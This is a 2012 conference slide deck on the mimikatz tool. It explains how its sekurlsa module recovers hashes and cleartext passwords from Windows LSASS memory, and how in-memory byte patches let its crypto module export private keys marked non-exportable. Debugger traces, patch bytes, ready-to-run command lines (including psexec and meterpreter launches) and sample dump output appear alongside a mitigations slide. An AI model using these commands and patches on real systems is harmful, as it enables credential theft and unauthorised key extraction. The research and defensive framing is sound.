mimikatz
Benjamin DELPY `gentilkiwi`
focus on sekurlsa/pass-the-pass
and crypto patches
Who ? Why ?
Benjamin DELPY `gentilkiwi`
– French
– 26y
– Kiwi addict
– Lazy programmer
Started to code mimikatz to :
– explain security concepts ;
– improve my knowledge ;
– prove to Microsoft that sometimes they must change old habits.
Why all in French ?
– because I’m
– It limits script kiddies usage
– Hack with class
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 2
mimikatz
working
On XP, 2003, Vista, 2008, Seven, 2008r2, 8, Server 8
– x86 & x64
– 2000 support dropped with mimikatz 1.0
Everywhere ; it’s statically compiled
Two modes
– direct action (local commands) – process or driver communication
m KeyIso m SamSS
« Isolation de clé CNG » « Gestionnaire de comptes de sécurité »
i LSASS.EXE i LSASS.EXE
m
i
m
i
VirtualAllocEx, Write
Direct action :
k crypto::patchcng k ProcessMemory, Create
a a
t t RemoteThread...
EventLog sekurlsa.dll
z z
« Journal d’événements Windows »
. SVCHOST.EXE
.
Open a pipe
e e
x x Write a welcome message
Direct action :
e e Wait commands… and return results
divers::eventdrop
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 3
mimikatz
architecture of sekurlsa & crypto
mod_mimikatz_standard mod_parseur
mod_mimikatz_winmine mod_text
mod_mimikatz_divers mod_memory
mod_cryptoapi
m mod_mimikatz_nogpo mod_secacl
mimikatz.sys
i
m mod_mimikatz_impersonate
mod_mimikatz_crypto mod_crypto
i mod_mimikatz_inject mod_pipe kappfree.dll
k mod_mimikatz_samdump mod_cryptoacng
mod_inject
a mod_mimikatz_handle mod_hive kelloworld.dll
t
mod_mimikatz_privilege mod_patch sam
z msv_1_0
. mod_mimikatz_system mod_privilege
tspkg
klock.dll
secrets
e mod_mimikatz_service mod_system msv_1_0
x mod_mimikatz_sekurlsa
wdigest
mod_service tspkg
sekurlsa.dll
e mod_mimikatz_process
livessp
mod_process wdigest
kerberos
mod_mimikatz_thread mod_thread livessp
mod_mimikatz_terminalserver mod_ts kerberos
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 4
mimikatz :: sekurlsa mod_mimikatz_sekurlsa
what is it ?
A module replacement for my previous favorite library !
A local module that can read data from the SamSS Service (well
known LSASS process)
What sekurlsa module can dump :
– MSV1_0 hashes
– TsPkg passwords
– Wdigest passwords
– LiveSSP passwords
– Kerberos passwords (!)
– …?
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 5
mimikatz :: sekurlsa
how LSA works ( PLAYSKOOL level)
Authentication
WinLogon LsaSS msv1_0 SAM
user:domain:password kerberos
Authentication
Packages
msv1_0
Challenge
Response tspkg
wdigest
livessp
kerberos
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 6
mimikatz :: sekurlsa
how LSA works ( PLAYSKOOL level)
Authentication packages :
– take user’s credentials from the logon
– make their own stuff
– keep enough data in memory to compute responses of
challenges (Single Sign On)
If we can get data, and inject it in another session of
LSASS, we avoid authentication part
This is the principle of « Pass-the-hash »
– In fact, of « Pass-the-x »
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 7
mimikatz :: sekurlsa
history of « pass-the-* » 1/2
Pass-the-hash
– 1997 - Unix modified SAMBA client for Hashes usage ; Paul Ashton (EIGEN)
– 2000 - Private version of a Windows « LSA Logon Session Editor » ; Hernan
Ochoa (CoreSecurity)
– 2007 - TechEd @ Microsoft ; Marc Murray (TrueSec) present msvctl, and
provide some downloads of it
– 2007 - « Pass the hash toolkit » published ; Hernan Ochoa (CoreSecurity)
– 2007 - mimikatz 0.1 includes pass the hash and is publicly available for x86
& x64 versions of Windows (yeah, by myself but in French; so not famous ;))
2007 was the year of pass the hash !
Pass-the-ticket
– 04/2011 - wce (pass the hash toolkit evolution) provides Kerberos ticket
support; Hernan Ochoa (Ampliasecurity)
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 8
mimikatz :: sekurlsa
history of « pass-the-* » 2/2
Pass-the-pass
– 05/2011 – mimikatz 1.0 dumps first clear text passwords from TsPkg provider (but limited to NT
6 and some XP SP3)
• http://blog.gentilkiwi.com/securite/pass-the-pass
– 05/2011 – return of mimikatz ; it dumps clear text passwords from WDigest provider (unlimited
this time ;))
• http://blog.gentilkiwi.com/securite/re-pass-the-pass
– 05/2011 – Some organizations opened cases to Microsoft about it…
…Lots of time…
– begin of 2012 - Lots of blogs (and Kevin Mitnick ;)) say few words about mimikatz
– 03/2012 - Hernan Ochoa (Ampliasecurity) publish at seclists that wce support WDigest password
extract…
• http://seclists.org/pen-test/2012/Mar/7
– 03/2012 – mimikatz strikes again with LiveSSP provider and extracts Live login passwords from
Windows 8 memory
• http://blog.gentilkiwi.com/securite/rere-pass-the-pass
– 03/2012 – yeah, once again…, more curious but Kerberos keeps passwords in memory
• http://blog.gentilkiwi.com/securite/rerere-pass-the-pass
– 08/2012 – sekurlsa module without injection at all ! (ultra safe)
• http://blog.gentilkiwi.com/securite/mimikatz/sekurlsa-fait-son-apparition
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 9
mimikatz :: sekurlsa :: tspkg
because sometimes hash is not enough…
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 10
mimikatz :: sekurlsa :: tspkg
what is it ?
Microsoft introduces SSO capability for Terminal Server with
NT 6 to improve RemoteApps and RemoteDestkop users’s
experience
– http://technet.microsoft.com/library/cc772108.aspx
Rely on CredSSP with Credentials Delegation (!= Account
delegation)
– Specs : http://download.microsoft.com/download/9/5/e/95ef66af-
9026-4bb0-a41d-a4f81802d92c/%5Bms-cssp%5D.pdf
First impression : it seems cool
– User does not have to type its password
– Password is not in RDP file
– Password is not in user secrets
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 11
mimikatz :: sekurlsa :: tspkg
questions ?
KB says that for it works, we must enable « Default credentials » delegation
– “Default credentials : The credentials obtained when the user first logs on to
Windows” - https://msdn.microsoft.com/library/bb204773.aspx
• What ? Our User/Domain/,Password | Hash | Ticket- ? It seems …
– In all cases, system seems to be vulnerable to pass-the-*…
In what form ?
Our specs : [MS-CSSP]
– 2.2.1.2.1 TSPasswordCreds
• The TSPasswordCreds structure contains the user's password credentials that are delegated
to the server. (or PIN)
TSPasswordCreds ::= SEQUENCE {
domainName [0] OCTET STRING,
userName [1] OCTET STRING,
password [2] OCTET STRING
}
– Challenge / response for authentication ?
• Serveur : YES (TLS / Kerberos)
• Client : NO ; *password* is sent to server…
So password resides somewhere in memory ?
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 12
mimikatz :: sekurlsa :: tspkg
symbols & theory
Let’s explore some symbols !
kd> x tspkg!*clear*
75016d1c tspkg!TSObtainClearCreds = <no type information>
kd> x tspkg!*password*
75011b68 tspkg!TSDuplicatePassword = <no type information>
75011cd4 tspkg!TSHidePassword = <no type information>
750195ee tspkg!TSRevealPassword = <no type information>
75012fbd tspkg!TSUpdateCredentialsPassword = <no type information>
kd> x tspkg!*locate*
7501158b tspkg!TSCredTableLocateDefaultCreds = <no type information>
– sounds cool… (thanks Microsoft)
Let’s imagine a scenario
– Enumerate all sessions to obtain :
• Username
• Domain
• LUID
– Call tspkg!TSCredTableLocateDefaultCreds (rely on RtlLookupElementGenericTableAvl) with
LUID to obtain :
• TS_CREDENTIAL
– Call tspkg!TSObtainClearCreds (rely on LsaUnprotectMemory) with TS_CREDENTIAL data
(TS_PRIMARY_CREDENTIAL) for :
• TS_PRIMARY_CREDENTIAL with clear text credentials…
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 13
mimikatz :: sekurlsa :: wdigest
because clear text password over http/https is not cool
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 16
mimikatz :: sekurlsa :: wdigest
what is it ?
“Digest access authentication is one of the agreed-upon methods a
web server can use to negotiate credentials with a user's web
browser. It applies a hash function to a password before sending it
over the network *…+”
Wikipedia : http://en.wikipedia.org/wiki/Digest_access_authentication
“Common Digest Authentication Scenarios :
– Authenticated client access to a Web site
– Authenticated client access using SASL
– Authenticated client access with integrity protection to a directory service
using LDAP”
Microsoft : http://technet.microsoft.com/library/cc778868.aspx
Again, it seems cool
– No password over the network, just hashes
– No reversible password in Active Directory ; hashes for each realm
• Only with Advanced Digest authentication
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 17
mimikatz :: sekurlsa :: wdigest
what is it ?
We speak about hashes, but what hashes ?
H = MD5(HA1:nonce:[…]:HA2)
• HA1 = MD5(username:realm:password)
• HA2 = MD5(method:digestURI:[…])
Even after login, HA1 may change… realm is from server side
and cannot be determined before Windows logon
WDigest provider must have elements to compute responses
for different servers :
– Username
– Realm (from server)
– Password
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 18
mimikatz :: sekurlsa :: wdigest
theory
This time, we know :
– that WDigest keeps password in memory « by protocol » for HA1 digest
– that LSASS love to unprotect password with LsaUnprotectMemory (so protect
with LsaProtectMemory)
LsaUnprotectMemory
– At offset 0xb4 of LSA_SECPKG_FUNCTION_TABLE
– Let’s perform a research in WDigest :
.text:7409D151 _DigestCalcHA1@8 call dword ptr [eax+0B4h]
– Hypothesis seems verified
LsaProtectMemory
– At offset 0xb0 of LSA_SECPKG_FUNCTION_TABLE
– Let’s perform a research in WDigest :
.text:74096C69 _SpAcceptCredentials@16 call dword ptr [eax+0B0h]
– SpAcceptCredentials takes clear password in args
• Protect it with LsaProtectMemory
• Update or insert data in double linked list : wdigest!l_LogSessList
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 19
mimikatz :: sekurlsa :: livessp
because Microsoft was too good in closed networks
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 22
mimikatz :: sekurlsa :: livessp
how
Actually I’ve only used logical (empirical) approach to
search passwords… :
– Protocol reading
– Symbols searching
~ Boring ~… be more brutal this time : make a WinDBG trap !
0: kd> !process 0 0 lsass.exe
PROCESS 83569040 SessionId: 0 Cid: 0224 Peb: 7f43f000 ParentCid: 01b4
DirBase: 5df58100 ObjectTable: 80ce4740 HandleCount: <Data Not Accessible>
Image: lsass.exe
0: kd> .process /i 83569040
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
0: kd> g
Break instruction exception - code 80000003 (first chance)
nt!RtlpBreakWithStatusInstruction:
814b39d0 cc int 3
0: kd> .reload /user
Loading User Symbols
............................................................
0: kd> bp /p @$proc lsasrv!LsaProtectMemory "kc 5 ; g"
0: kd> g
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 23
mimikatz :: sekurlsa :: livessp
how
Let’s login with a Live account on Windows 8 !
lsasrv!LsaProtectMemory
livessp!LiveMakeSupplementalCred
livessp!LiveMakeSecPkgCredentials Our LiveSSP provider
livessp!LsaApLogonUserEx2
livessp!SpiLogonUserEx2
lsasrv!LsaProtectMemory
msv1_0!NlpAddPrimaryCredential Yeah, Pass the Hash capability with Live
msv1_0!SspAcceptCredentials
msv1_0!SpAcceptCredentials account too…
lsasrv!LsaProtectMemory
tspkg!TSHidePassword Live user can logon through RDP via SSO
tspkg!SpAcceptCredentials
1: kd> uf /c livessp!LsaApLogonUserEx2
livessp!LsaApLogonUserEx2 (74781536)
[...]
livessp!LsaApLogonUserEx2+0x560 (74781a96):
call to livessp!LiveCreateLogonSession (74784867)
After credentials protection, LsaApLogonUserEx2 calls
LiveCreateLogonSession to insert data in
LiveGlobalLogonSessionList (similar to WDigest)
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 24
mimikatz :: sekurlsa
Even if we already have tools for normal accounts, are you
not curious to test one with this trap ?*
* Me, yes
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 26
mimikatz :: sekurlsa :: kerberos
Let’s login normal account
lsasrv!LsaProtectMemory
kerberos!KerbHideKey
kerberos!KerbCreatePrimaryCredentials
kerberos!KerbCreateLogonSession
Kerberos, ticket part ? Maybe ;)
kerberos!SpAcceptCredentials
lsasrv!LsaProtectMemory
kerberos!KerbHidePassword
kerberos!KerbCreateLogonSession
Kerberos part for password ??????
kerberos!SpAcceptCredentials
lsasrv!LsaProtectMemory
msv1_0!NlpAddPrimaryCredential
msv1_0!SspAcceptCredentials
msv1_0!SpAcceptCredentials
lsasrv!LsaProtectMemory
wdigest!SpAcceptCredentials
lsasrv!LsaProtectMemory
tspkg!TSHidePassword
tspkg!SpAcceptCredentials
After credentials protection, KerbCreateLogonSession calls :
– NT6 ; KerbInsertOrLocateLogonSession to insert data in
KerbGlobalLogonSessionTable
– NT5 ; KerbInsertLogonSession to insert data in
KerbLogonSessionList
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 27
mimikatz :: sekurlsa
demo time !
Final sekurlsa demo sekurlsa::logonPasswords full
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 30
mimikatz :: sekurlsa :: kerberos
“hu ?”
Ok It works…*
But why ?
* Not at all logon on NT5 (can need an unlock)
From my understanding of Microsoft explanations
– no need of passwords for the Kerberos protocol…
– all is based on the hash (not very sexy too)
Microsoft’s implementation of Kerberos is full of logical…
– For password auth :
• password hash for shared secret, but keeping password in memory
– For full smartcard auth :
• No password on client
• No hash on client ?
– NTLM hash on client…
– KDC sent it back as a gift
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 31
mimikatz :: sekurlsa
All passwords in memory are encrypted, but in a reversible way to be used
We used LsaUnprotecMemory, in the LSASS context, to decrypt them
LsaUnprotectMemory
– This function rely on LsaEncryptMemory from lsasrv.dll
For that, we previously inject a DLL (sekurlsa.dll) in the LSASS process to take
benefits of its keys when we called it
Can it be fun to decrypt outside the process ?
– Yes, it is… no more injection, just reading memory of LSASS process…
mimikatz can use lsasrv.dll too and “imports” LSASS initialized keys
– When we call LsaEncryptMemory in mimikatz, with all keys imported from LSASS, we have
the same comportments than when we are in LSASS !
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 32
mimikatz :: sekurlsa
LsaEncryptMemory NT5
Depending on the size of the secret, LsaEncryptMemory use :
– RC4
DWORD ; 256
g_cbRandomKey
l
l
s
s g_pRandomKey
@BYTE[g_cbRandomKey]
a
a
s
s
r
BYTE[g_cbRandomKey]
m
s i l
v
m s
copy…
– DESx i a
@BYTE[144] k s
g_pDESXKey
l a r
l v
s
s BYTE[144] t
a z
a
s
s
r
s
v g_Feedback BYTE[8]
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 33
mimikatz :: sekurlsa
LsaEncryptMemory NT6
Depending on the size of the secret, LsaEncryptMemory use :
InitializationVector BYTE[16]
– 3DES
l
l
s typedef struct _KIWI_BCRYPT_KEY_DATA {
s DWORD size;
a
a h3DesKey DWORD tag;
s m DWORD type;
s DWORD unk0;
r i DWORD unk1;
s l DWORD unk2;
v
m s DWORD unk3;
PVOID unk4;
copy… i a BYTE data; /* etc... */
– AES k s
} KIWI_BCRYPT_KEY_DATA,
*PKIWI_BCRYPT_KEY_DATA;
a r
l typedef struct _KIWI_BCRYPT_KEY {
l t v
s DWORD size;
s z
DWORD type;
a PVOID unk0;
a hAesKey PKIWI_BCRYPT_KEY_DATA cle;
s PVOID unk1;
s
r } KIWI_BCRYPT_KEY, *PKIWI_BCRYPT_KEY;
s
v
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 34
mimikatz :: sekurlsa
memo
Some commands :
mimikatz privilege::debug "sekurlsa::logonPasswords full" exit
psexec windows -s -c c:mimikatzWin32mimikatz.exe "sekurlsa::logonPasswords full" exit
meterpreter > execute -H -c -i -m -f /pentest/passwords/mimikatz/mimikatz_x86.exe
mimikatz 1.0 x64 (RC) /* Traitement du Kiwi (Aug 2 2012 01:32:28) */
// http://blog.gentilkiwi.com/mimikatz
mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK
mimikatz # sekurlsa::logonPasswords full
Authentification Id : 0;234870
Package d'authentification : NTLM
Utilisateur principal : Gentil Kiwi
Domaine d'authentification : vm-w8-rp-x
msv1_0 :
* Utilisateur : Gentil Kiwi
* Domaine : vm-w8-rp-x
* Hash LM : d0e9aee149655a6075e4540af1f22d3b
* Hash NTLM : cc36cf7a8514893efccd332446158b1a
kerberos :
* Utilisateur : Gentil Kiwi
* Domaine : vm-w8-rp-x
* Mot de passe : waza1234/
wdigest :
* Utilisateur : Gentil Kiwi
* Domaine : vm-w8-rp-x
* Mot de passe : waza1234/
tspkg :
* Utilisateur : Gentil Kiwi
* Domaine : vm-w8-rp-x
* Mot de passe : waza1234/
livessp : n.t. (LUID KO)
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 36
mimikatz :: sekurlsa
what we can do ?
Basics
– No physical access to computer (first step to pass the hash, then pass the pass)
– No admin rights / system rights / debug privileges (…)
– Disable local admin accounts
– Strong passwords (haha, it was a joke ; so useless !!!)
– For privileged account, network login instead of interactive (when possible)
– Audit ; pass the hash keeps traces and can lock accounts
– No admin rights / system rights / debug privileges, even VIP
– Use separated network (or forest) for privileged tasks
More in depth
– Force strong authentication (SmartCard & Token) : $ / €
– Short validity for Kerberos tickets
– No delegation
– Disable NTLM (available with NT6)
– No exotic :
• biometrics (it keeps password somewhere and push it to Windows)
• single sign on
– Stop shared secrets for authentication : push Public / Private stuff (like keys ;))
– Let opportunities to stop retro compatibility
– Disable faulty providers ?
• Is it supported by Microsoft ?
• Even if you can disable LiveSSP, TsPkg and WDigest, will you disable Kerberos and msv1_0 ?
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 37
mimikatz :: crypto mod_mimikatz_crypto
what is it ?
A little module that I wrote to :
– play with Windows Cryptographic API / CNG and RSA keys
– automate export of certificates/keys
• Even those which are “not” exportable
What crypto module can do :
– List
• Providers
• Stores
• Certificates
• Keys
– Export
• Certificates
– public in DER format
– with private keys in PFX format
• Private keys in PVK format
– it’s cool, OpenSSL can deal with it too
– Patch
• CryptoAPI in mimikatz context
• CNG in LSASS context (again !)
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 38
mimikatz :: crypto
how it’s protected
Private keys are DPAPI protected
– You cannot reuse private key files on another computer
• At least without the master keys and/or password of users
Computer/User can load their own keys because they have enough
secrets to do it (ex : session opened)
– Yes, a computer/server open a “session”
Export/Usage can be limited by :
– Password Constraint for most user
– Popup Unavailable for computer keys
– Export/Archive flag no present
certutil -importpfx mycert.p12 NoExport
certutil -csp "Microsoft Enhanced Cryptographic Provider v1.0" -importpfx mycert.p12 NoExport
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 39
mimikatz :: crypto :: capi
how it works
“Microsoft CryptoAPI provides a secure interface for the cryptographic functionality that is
supplied by the installable cryptographic service provider (CSP) modules. CSPs perform all
cryptographic operations and manage private keys CSPs can be implemented in software
as well as in hardware.”
– http://technet.microsoft.com/library/cc962093.aspx
Processes (mimikatz, IIS, Active Directory , Internet Explorer, yourappshere…) load some
DLL to deal with different cryptographic stuff : CSP (keys), smartcard reader, …
– cryptdll.dll, rsaenh.dll, …
Process deal with cryptographic keys by this API…
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 40
mimikatz :: crypto :: capi
how it’s exported ( PLAYSKOOL level)
Process
CryptoAPI and RSA CSP
Exportable yes
Load Private Key DPAPI Decode
?
no
Ask to export Key NTE_BAD_KEY_STATE Exported Key
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 41
mimikatz :: crypto :: patchcapi
because I own my process
When we want to export a certificate with its private key (or only the key), it goes in
rsaenh!CPExportKey
This function do all the work to prepare the export, and check if the key is exportable
Exportable
?
================ Certificat 0 ================
Numéro de série : 112169417a1c3ef46a301f99385f50680fa0
Émetteur: CN=GlobalSign CodeSigning CA - G2, O=GlobalSign nv-sa, C=BE
Objet: CN=Benjamin Delpy, C=FR
Il ne s'agit pas d'un certificat racine
Hach. cert. (sha1): ab 9e 92 b9 43 ed 47 d9 15 bc 26 93 9e 24 a5 83 03 ac aa 7e
Conteneur de clé = {470ADFBA-8718-4014-B05E-B30776B75A03}
Fournisseur = Microsoft Enhanced Cryptographic Provider v1.0
La clé privée NE PEUT PAS être exportée
Succès du test de cryptage
CertUtil : -exportPFX ÉCHEC de la commande : 0x8009000b (-2146893813)
CertUtil: Clé non valide pour l'utilisation dans l'état spécifié.
mimikatz # crypto::exportCertificates
Emplacement : 'CERT_SYSTEM_STORE_CURRENT_USER'My
- Benjamin Delpy
Container Clé : {470ADFBA-8718-4014-B05E-B30776B75A03}
Provider : Microsoft Enhanced Cryptographic Provider v1.0
Type : AT_KEYEXCHANGE
Exportabilité : NON
Taille clé : 2048
Export privé dans 'CERT_SYSTEM_STORE_CURRENT_USER_My_0_Benjamin Delpy.pfx' : KO
(0x8009000b) Clé non valide pour l'utilisation dans l'état spécifié.
Export public dans 'CERT_SYSTEM_STORE_CURRENT_USER_My_0_Benjamin Delpy.der' : OK
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 42
mimikatz :: crypto :: patchcapi
because I own my process
So what ? A module in my own process return that I can’t do something ?
CryptoAPI is in my memory space, let’s patch it !
.text:0AC0B7CB 0F 85 33 C7 FF FF jnz continue_key_export_or_archive
.text:0AC0B7CB 90 nop
.text:0AC0B7CC E9 33 C7 FF FF jmp continue_key_export_or_archive
.text:0AC1F749 0F 85 B6 3B FF FF jnz continue_key_export_or_archive_prepare
.text:0AC1F749 90 nop
.text:0AC1F74A E9 B6 3B FF FF jmp continue_key_export_or_archive_prepare
I wrote “4” bytes in my memory space
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 43
mimikatz :: crypto :: patchcapi
demo time !
Import, export, import as not exportable…. export
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 44
mimikatz :: crypto :: patchcapi
limitations
Because :
– I’m lazy
– I’ve seen in majority of case RSA keys for real life use
• Elliptic Curve a little…
mimikatz crypto::patchcapi only deal with :
– Microsoft Base Cryptographic Provider v1.0
– Microsoft Enhanced Cryptographic Provider v1.0
– Microsoft Enhanced RSA and AES Cryptographic Provider
– Microsoft RSA SChannel Cryptographic Provider
– Microsoft Strong Cryptographic Provider
…all based on rsaenh.dll
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 45
mimikatz :: crypto :: cng
how it works
“Cryptography API: Next Generation (CNG) is the long-term replacement for the
CryptoAPI. CNG is designed to be extensible at many levels and cryptography agnostic in
behavior.”
– http://msdn.microsoft.com/library/windows/desktop/aa376210.aspx
“To comply with common criteria (CC) requirements, the long-lived keys must be isolated
so that they are never present in the application process. CNG currently supports the
storage of asymmetric private keys by using the Microsoft software KSP that is included
with Windows Server 2008 and Windows Vista and installed by default.
This time, keys operations are not made in the “user” process context
Process use RPC to call “Key isolation service” (keyiso) functions
It seems more secure than CryptoAPI…
– It is, but it’s not perfect…
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 46
mimikatz :: crypto :: cng
how it’s exported ( PLAYSKOOL level)
NT6 System protected process ML_SYSTEM
SYSTEM_MANDATORY_LABEL_NO_WRITE_UP
SYSTEM_MANDATORY_LABEL_NO_READ_UP
KeyIso Service (LSASS Process)
CNG
Exportable
Load Private Key DPAPI Decode
? yes
no
RPC
Process
Ask to export Key NTE_NOT_SUPPORTED Exported Key
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 47
mimikatz :: crypto :: patchcng
because sometimes I own LSASS
When we want to export a certificate with its private key (or only the key), RPC calls lead
to lsass(keyiso):ncrypt!SPCryptExportKey
This function do all the work to prepare the export, and check if the key is exportable
Exportable
?
mimikatz # crypto::exportKeys
[user] Clés CNG :
- cng_user_noexport-a3419340-5e5b-4b9a-bf08-d35d75a9b318
Exportabilité : NON
Taille clé : 2048
Export privé dans 'cng_user_0_cng_user_noexport-a3419340-5e5b-4b9a-bf08-d35d75a9b318.pvk' : KO
mod_cryptong::getPrivateKey/PrivateKeyBlobToPVK : (0x80090029) L'opération demandée n'est pas prise en charge.
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 48
mimikatz :: crypto :: patchcng
because sometimes I own LSASS
This time, checks and keys are in LSASS process…
And what ?
.text:6C815210 75 1C jnz short continue_key_export
.text:6C815210 EB 1C jmp short continue_key_export
I wrote “1” byte in LSASS memory space…
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 49
mimikatz :: crypto :: patchcng
demo time !
Import, export, import as not exportable…. export again
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 50
mimikatz :: crypto :: patchcng
limitations
Patch operation needs some privileges
– Admin (debug privilege)
– SYSTEM
mimikatz crypto::patchcng only deal with :
– Microsoft Software Key Storage Provider (maybe others algs than RSA)
Not a limitation of mimikatz, but MMC addin for certificates cannot
export CNG certificates… even those that are exportable (hu ?)
– certutil can…
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 51
mimikatz :: crypto :: patchcng
bonus
After one admin patched LSASS, all users of current system benefit of extra
exports
– until reboot / KeyIso service restart
Some others programs that doesn’t check the export flag before asking export
can work too
– Yeah, like the old good one : certutil
C:UsersGentil KiwiDesktop>certutil -user -p export_waza -privatekey -exportpfx cng_user_noexport test.pfx
MY
================ Certificat 1 ================
[…]
Hach. cert. (sha1) : dc 00 c9 c7 9f 47 96 f2 8a ff 2d 0e e3 f2 97 e3 6f c2 ce 8b
Conteneur de clé = cng_user_noexport-a3419340-5e5b-4b9a-bf08-d35d75a9b318
Fournisseur = Microsoft Software Key Storage Provider
La clé privée NE PEUT PAS être exportée
Succès du test de chiffrement
CertUtil : -exportPFX ÉCHEC de la commande : 0x8009000b (-2146893813)
CertUtil: Clé non valide pour l'utilisation dans l'état spécifié.
C:UsersGentil KiwiDesktop>certutil -user -p export_waza -privatekey -exportpfx cng_user_noexport test.pfx
MY
================ Certificat 1 ================
[…]
Hach. cert. (sha1) : dc 00 c9 c7 9f 47 96 f2 8a ff 2d 0e e3 f2 97 e3 6f c2 ce 8b
Conteneur de clé = cng_user_noexport-a3419340-5e5b-4b9a-bf08-d35d75a9b318
Fournisseur = Microsoft Software Key Storage Provider
Succès du test de chiffrement
CertUtil: -exportPFX La commande s'est terminée correctement.
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 52
mimikatz :: crypto
memo
Some commands :
mimikatz crypto::patchcapi crypto::exportCertificates exit
psexec windows -s -c c:mimikatzWin32mimikatz.exe crypto::patchcapi crypto::patchcng
"crypto::exportCertificates CERT_SYSTEM_STORE_LOCAL_MACHINE" "crypto::exportKeys computer" exit
mimikatz # crypto::exportCertificates CERT_SYSTEM_STORE_LOCAL_MACHINE "Remote Desktop"
mimikatz privilege::debug crypto::patchcng crypto::patchcapi crypto::exportCertificates
crypto::exportKeys exit
Password :
– PFX files are protected by this password : mimikatz
Keys
– When you import multiple time a certificate, exportable or not, Windows make duplicate keys
– When you delete a certificate, Windows does not delete its private key… funny isn’t it ?
• So yes, mimikatz can export it
